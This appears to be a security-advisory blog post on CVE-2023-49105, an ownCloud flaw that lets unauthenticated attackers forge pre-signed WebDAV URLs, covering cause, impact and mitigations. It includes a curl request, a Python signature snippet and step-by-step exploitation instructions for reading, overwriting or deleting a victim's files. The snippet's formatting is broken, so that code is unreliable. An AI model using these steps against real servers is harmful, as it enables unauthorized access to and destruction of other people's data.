Listen to this Post
CVE-2023-49105 – ownCloud core before version 10.13.1 contains a critical improper authentication vulnerability that allows unauthenticated attackers to access, modify, or delete any file belonging to a victim user, provided the attacker knows the victim’s username and the victim has not configured a personal signing-key (which is the default state for most users).
The root cause lies in ownCloud’s pre-signed URL mechanism, which is designed to grant temporary, shareable access to files without requiring full authentication. Normally, these URLs are cryptographically signed using a user-specific signing-key stored in the `oc_preferences` database table under the `signing-key` config key. When a user has no signing-key set (the default), the system should reject any pre-signed URL request. However, in vulnerable versions (10.6.0 through 10.13.0), the `Verifier.php` component – specifically the `computeHash` function in `lib/private/Security/SignedUrl/Verifier.php` – proceeds with an empty string as the signing key instead of aborting the verification process.
This flaw means that an attacker who knows a target username can craft a pre-signed URL with the following query parameters: `OC-Credential` (the victim’s username), `OC-Date` (a future expiration date, e.g., 9999-12-02), `OC-Expires` (validity duration, default 1200 seconds), and `OC-Verb` (the HTTP method, e.g., `GET` or POST). The attacker then computes a PBKDF2-SHA512 hash using an empty key, truncates it to 64 characters, and appends it as the `OC-Signature` parameter.
Because the vulnerable code does not verify that a signing-key actually exists, it accepts the signature generated with the blank key as valid. The signed URL is then accepted by the WebDAV API endpoint (/remote.php/dav/files/{username}/...), granting the attacker full read, write, and delete permissions on the victim’s files – all without any authentication. The attack is trivial to execute with a simple script or even a `curl` command, and it works across all file operations supported by the WebDAV interface.
The vulnerability affects all ownCloud core installations from version 10.6.0 up to (but not including) 10.13.1. The official patch, released in version 10.13.1, adds a simple check: if the signing-key is empty or not initialized, the system immediately denies the pre-signed URL request. Despite its CVSS score of 9.8 (Critical) and the availability of public proof-of-concept exploits, this CVE initially received less attention than its companion CVE-2023-49103, yet it is arguably more dangerous because it enables direct, unauthenticated file system access.
DailyCVE Form:
Platform: ownCloud Core
Version: 10.6.0–10.13.0
Vulnerability: Auth Bypass
Severity: Critical (9.8)
date: 2023-11-21
Prediction: 2023-11-21
What Undercode Say:
Analytics show that while widespread mass exploitation has not been observed, targeted attacks have been documented – including an incident where suspected threat actors leveraged CVE-2023-49105 to exfiltrate sensitive nuclear research records from a Philippine agency. GreyNoise sensors have detected occasional scanning and authentication-bypass attempts against exposed ownCloud instances, indicating active interest from malicious actors.
The following Bash command demonstrates how to generate a valid pre-signed URL for a known user (educational use only):
Generate a pre-signed URL for victim 'admin' to read /test.txt Steps (simplified): 1. Build base URL with required parameters 2. Compute PBKDF2-SHA512 signature using empty key 3. Append signature as OC-Signature curl -X GET "http://target/remote.php/dav/files/admin/test.txt?OC-Credential=admin&OC-Date=9999-12-02T11%3A01%3A58.135Z&OC-Expires=1200&OC-Verb=GET&OC-Signature=<computed_hash>"
Python snippet for signature generation (reference):
import hashlib
import binascii
from datetime import datetime
Empty signing key
key = b''
Construct message from parameters (order matters)
message = f"admin\nget\n/test.txt\n1200\n9999-12-02T11:01:58.135Z".encode()
PBKDF2-HMAC-SHA512 with 1 iteration
digest = hashlib.pbkdf2_hmac('sha512', message, key, 1, dklen=64)
signature = binascii.hexlify(digest).decode()
print(signature)
Full exploit scripts are publicly available (e.g., Ambionics’ pwncloud-webdav.py).
Exploit: (Educational Purposes!)
An attacker can exploit CVE-2023-49105 in four simple steps:
1. Identify a target username – e.g., admin, or enumerate via other means.
2. Choose a target file path – e.g., /remote.php/dav/files/admin/secret.pdf.
3. Construct the query string with OC-Credential, `OC-Date` (set far in the future), OC-Expires=1200, and `OC-Verb` matching the intended HTTP method (GET, PUT, DELETE, PROPFIND).
4. Compute the signature using PBKDF2-SHA512 with an empty key, truncate to 64 hex characters, and append as OC-Signature.
The resulting URL bypasses all authentication checks. For example, a `PROPFIND` request can list all files in the victim’s directory, a `GET` can download files, a `PUT` can overwrite them, and a `DELETE` can remove them. No credentials, cookies, or session tokens are required.
Protection: from this CVE
- Upgrade to ownCloud core 10.13.1 or later immediately. This is the definitive fix.
- If upgrading is not possible, apply the patch manually by adding a check in `lib/private/Security/SignedUrl/Verifier.php` to reject pre-signed URL requests when the user’s signing-key is empty or not set.
- As a temporary workaround, use web server rules (e.g., Nginx/Apache) to block or log requests containing the
OC-Signature,OC-Credential, and `OC-Verb` parameters targeting the WebDAV endpoint, though this is not a complete mitigation. - Audit your `oc_preferences` table to identify users who have configured a signing-key; those without one are vulnerable. Consider generating signing-keys for all users via the `occ` command or direct database insertion.
- Monitor logs for anomalous WebDAV requests with the aforementioned query parameters, as they may indicate active exploitation attempts.
Impact
Successful exploitation of CVE-2023-49105 grants an unauthenticated attacker the same level of access as the victim user over the WebDAV API. This includes:
– Read access – exfiltration of sensitive documents, configuration files, personal data, and intellectual property.
– Write access – injection of malicious files, backdoors, or ransomware payloads into the victim’s storage.
– Delete access – permanent destruction of critical data, leading to denial of service or data loss.
– Lateral movement – if the compromised user has elevated privileges or access to shared folders, the attacker can pivot to other users’ data.
Given that most ownCloud users do not configure a personal signing-key by default, the attack surface is extremely wide. The vulnerability is trivial to exploit with minimal scripting knowledge, and public proof-of-concept code is readily available. Combined with the critical CVSS score of 9.8, this flaw poses a severe risk to any organization running an affected version of ownCloud, especially those exposed to the internet.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: www.cve.org
Extra Source Hub:
Undercode
